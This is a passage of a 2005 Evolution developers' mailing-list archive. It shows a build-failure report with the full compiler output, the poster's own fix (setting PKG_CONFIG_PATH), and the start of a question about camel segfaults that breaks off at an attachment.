tests=FORGOTTEN_PASSWORD,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ****** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/plain Content-Transfer-Encoding: 7bit Note: e-d-s, here, is also updated and on non-anoncvs freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d cvs server: Updating . cvs server: Updating glade cvs server: Updating idl cvs server: Updating importer freax@lort:~/cvs/gnome/evolution/shell $ make make all-recursive make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' Making all in importer make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make all-am make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make[3]: Nothing to be done for `all-am'. make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' source='e-shell-window-commands.c' object='e-shell-window-commands.o' libtool=no \ depfile='.deps/e-shell-window-commands.Po' tmpdepfile='.deps/e-shell-window-commands.TPo' \ depmode=gcc3 /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" -DEVOLUTION_DATADIR= \""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such file or directory e-shell-window-commands.c: In function `command_forget_passwords': e-shell-window-commands.c:572: warning: implicit declaration of function `e_passwords_forget_passwords' e-shell-window-commands.c: At top level: e-shell-window-commands.c:479: warning: `command_help_faq' defined but not used make[2]: *** [e-shell-window-commands.o] Error 1 make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make: *** [all] Error 2 freax@lort:~/cvs/gnome/evolution/shell $ -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
Note: e-d-s, here, is also updated and on non-anoncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make  all-am
make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'e-shell-window-commands.o' l= ibtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tmpdepfile=3D'.deps/e-shell-wi= ndow-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOL= UTION_IMAGES=3D\""/opt/evo//share/evolution/2.2/images"\&quo= t; -DEVOLUTION_LOCALEDIR=3D\""/opt/evo//share/locale"\"= -DEVOLUTION_DATADIR=3D\""/opt/evo//share"\" -DEVOLUTIO= N_GLADEDIR=3D\""/opt/evo//share/evolution/2.2/glade"\" = -DEVOLUTION_HELPDIR=3D\""/opt/evo//share/evolution/2.2/help"= \" -DEVOLUTION_UIDIR=3D\""/opt/evo//share/evolution/2.2/ui&q= uot;\" -DEVOLUTION_TOOLSDIR=3D\""/opt/evo//libexec/evolution= /2.2"\" -DPREFIX=3D\""/opt/evo/"\" -DSYSCONFD= IR=3D\""/opt/evo//etc"\" -DDATADIR=3D\""/opt/= evo//share"\" -DLIBDIR=3D\""/opt/evo//share"\"= ; -DG_LOG_DOMAIN=3D\"evolution-shell\" -DORBIT2=3D1 -pthread -I/u= sr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/inc= lude/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/u= sr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I= /usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/= include/libxml2    -DORBIT2=3D1 -pthread -DXTHREADS -I/usr/i= nclude/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 = -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.= 0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/incl= ude/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.= 0 -I/usr/include/freetype2 -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/includ= e -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr= /include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libg= nomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/includ= e/libgnomeprint-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/= usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/= libgnomeprintui-2.2     -DORBIT2=3D1 -pthread -DXTHREAD= S -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/i= nclude -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include= /gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/u= sr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/inclu= de/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/u= sr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype= 2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I= /usr/include/libxml2        -g -O2 -Wall= -Wmissing-prototypes  -Wno-sign-compare -c `test -f 'e-shell-window-c= ommands.c' || echo './'`e-shell-window-commands.c
e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such fi= le or directory
e-shell-window-commands.c: In function `command_forget_passwords':
e-shell-window-commands.c:572: warning: implicit declaration of function `e= _passwords_forget_passwords'
e-shell-window-commands.c: At top level:
e-shell-window-commands.c:479: warning: `command_help_faq' defined but not = used
make[2]: *** [e-shell-window-commands.o] Error 1
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-7YKSWC/pz6Gx5HS8IBFo-- From spamfrommailing@freax.org Mon Feb 28 04:18:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 85897124551; Mon, 28 Feb 2005 04:18:04 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 40E351242DE for ; Mon, 28 Feb 2005 04:17:52 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B6F23139420A for ; Mon, 28 Feb 2005 10:17:49 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03550-09 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 490F61394115 for ; Mon, 28 Feb 2005 10:17:42 +0100 (CET) Subject: Re: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com In-Reply-To: <1109581630.9416.8.camel@localhost.localdomain> References: <1109581630.9416.8.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-SIZFLpFWBWPgADGWJNwM" Date: Mon, 28 Feb 2005 10:17:42 +0100 Message-Id: <1109582262.9416.9.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-19.1 required=5.0 tests=EMAIL_ATTRIBUTION,FORGOTTEN_PASSWORD,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/plain Content-Transfer-Encoding: 7bit My own mistake, I forgot to add this to my environment variables :-) PKG_CONFIG_PATH=/opt/evo/lib/pkgconfig/ On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote: > > Note: e-d-s, here, is also updated and on non-anoncvs > > freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d > cvs server: Updating . > cvs server: Updating glade > cvs server: Updating idl > cvs server: Updating importer > freax@lort:~/cvs/gnome/evolution/shell $ make > make all-recursive > make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > Making all in importer > make[2]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make all-am > make[3]: Entering directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[3]: Nothing to be done for `all-am'. > make[3]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Leaving directory > `/home/freax/cvs/gnome/evolution/shell/importer' > make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' > source='e-shell-window-commands.c' object='e-shell-window-commands.o' > libtool=no \ > depfile='.deps/e-shell-window-commands.Po' > tmpdepfile='.deps/e-shell-window-commands.TPo' \ > depmode=gcc3 /bin/sh ../depcomp \ > gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. > -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" > -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" > -DEVOLUTION_DATADIR=\""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= > \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= > \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= > \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= > \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" > -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" > -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" > -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 > -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 > -I/usr/include/orbit-2.0 -I/usr/include/libxml2 > -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/include/gtk-2.0 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 > -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 > -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS > -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 > -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 > -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 > -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include > -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 > -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 > -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 > -I/usr/include/pango-1.0 -I/usr/include/freetype2 > -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 > -I/usr/include/libxml2 -I/usr/include/gal-2.4 > -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 > -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 > -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 > -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include > -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 > -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 > -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 > -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 > -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 > -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 > -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include > -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 > -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f > 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c > e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No > such file or directory > e-shell-window-commands.c: In function `command_forget_passwords': > e-shell-window-commands.c:572: warning: implicit declaration of > function `e_passwords_forget_passwords' > e-shell-window-commands.c: At top level: > e-shell-window-commands.c:479: warning: `command_help_faq' defined but > not used > make[2]: *** [e-shell-window-commands.o] Error 1 > make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' > make: *** [all] Error 2 > freax@lort:~/cvs/gnome/evolution/shell $ > > -- > Philip Van Hoof, Software Developer @ Cronos > home: me at freax dot org > gnome: pvanhoof at gnome dot org > work: philip dot vanhoof at cronos dot be > junk: philip dot vanhoof at gmail dot com > http://www.freax.be, http://www.freax.eu.org -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-SIZFLpFWBWPgADGWJNwM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
My own mistake, I forgot to add this to my environment variables :-)

PKG_CONFIG_PATH=3D/opt/evo/lib/pkgconfig/

On Mon, 2005-02-28 at 10:07 +0100, Philip Van Hoof wrote:

Note: e-d-s, here, is also updated and on non-a= noncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs up= date -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make  all-am
make[3]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell/importer'
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell/importer'
make[2]: Entering directory `/home/freax/cvs/gn= ome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'= e-shell-window-commands.o' libtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tm= pdepfile=3D'.deps/e-shell-window-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -= I../widgets/misc -I.. -DEVOLUTION_IMAGES=3D\""/opt/evo//share/evo= lution/2.2/images"\" -DEVOLUTION_LOCALEDIR=3D\""/opt/ev= o//share/locale"\" -DEVOLUTION_DATADIR=3D\""/opt/evo//s= hare"\" -DEVOLUTION_GLADEDIR=3D\""/opt/evo//share/evolu= tion/2.2/glade"\" -DEVOLUTION_HELPDIR=3D\""/opt/evo//sh= are/evolution/2.2/help"\" -DEVOLUTION_UIDIR=3D\""/opt/e= vo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR=3D\""= ;/opt/evo//libexec/evolution/2.2"\" -DPREFIX=3D\""/opt/= evo/"\" -DSYSCONFDIR=3D\""/opt/evo//etc"\" -D= DATADIR=3D\""/opt/evo//share"\" -DLIBDIR=3D\""= ;/opt/evo//share"\" -DG_LOG_DOMAIN=3D\"evolution-shell\"= ; -DORBIT2=3D1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/inc= lude/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/u= sr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/= usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/b= onobo-activation-2.0 -I/usr/include/libxml2    -DORBIT2=3D1 = -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/= usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2= -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/incl= ude/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart= -2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2= .0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -= I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0= /include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/i= nclude/gal-2.4 -I/usr/include/libgnomeprint-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/= usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/li= bgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2     -DO= RBIT2=3D1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/gl= ib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/= libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/li= b/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include= /libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I= /usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango= -1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/inclu= de -I/usr/include/atk-1.0 -I/usr/include/libxml2    &nb= sp;   -g -O2 -Wall -Wmissing-prototypes  -Wno-sign-compare -= c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands= .c
e-shell-window-commands.c:50:42: libedataserver= ui/e-passwords.h: No such file or directory
e-shell-window-commands.c: In function `command= _forget_passwords':
e-shell-window-commands.c:572: warning: implici= t declaration of function `e_passwords_forget_passwords'
e-shell-window-commands.c: At top level:=
e-shell-window-commands.c:479: warning: `comman= d_help_faq' defined but not used
make[2]: *** [e-shell-window-commands.o] Error = 1
make[2]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/freax/cvs/gno= me/evolution/shell'
make: *** [all] Error 2
freax@lort:~/cvs/gnome/evolution/shell $= 

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org

--=20
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-SIZFLpFWBWPgADGWJNwM-- From sh@warma.dk Mon Feb 28 06:57:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 431B7124313; Mon, 28 Feb 2005 06:57:16 -0500 (EST) Received: from pluto.linuxkonsulent.dk (unknown [193.108.190.253]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 09A12124389 for ; Mon, 28 Feb 2005 06:57:04 -0500 (EST) Received: from [127.0.0.1] (helo=[10.2.30.126]) by pluto.linuxkonsulent.dk with asmtp (Exim 3.35 #1 (Debian)) id 1D5jWu-0006B6-00 for ; Mon, 28 Feb 2005 12:57:40 +0100 From: =?ISO-8859-1?Q?S=F8ren?= Hansen To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=sha1; protocol="application/x-pkcs7-signature"; boundary="=-saN20RYOgRtBTRJJgUUD" Date: Mon, 28 Feb 2005 12:57:01 +0100 Message-Id: <1109591821.4468.19.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Problems with camel Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-saN20RYOgRtBTRJJgUUD Content-Type: multipart/mixed; boundary="=-ZSLylqXrgm8DhfbMlX7n" --=-ZSLylqXrgm8DhfbMlX7n Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi! I'm having a bit of a problem using camel. I'm trying to simply make a small app that can open a camel url and read a message from a message store, but I can't even figure out how to make a connection without it segfaulting on me.. I've attaced the code and a makefile. Any help? --=20 S=C3=B8ren Hansen --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=camel-test.c 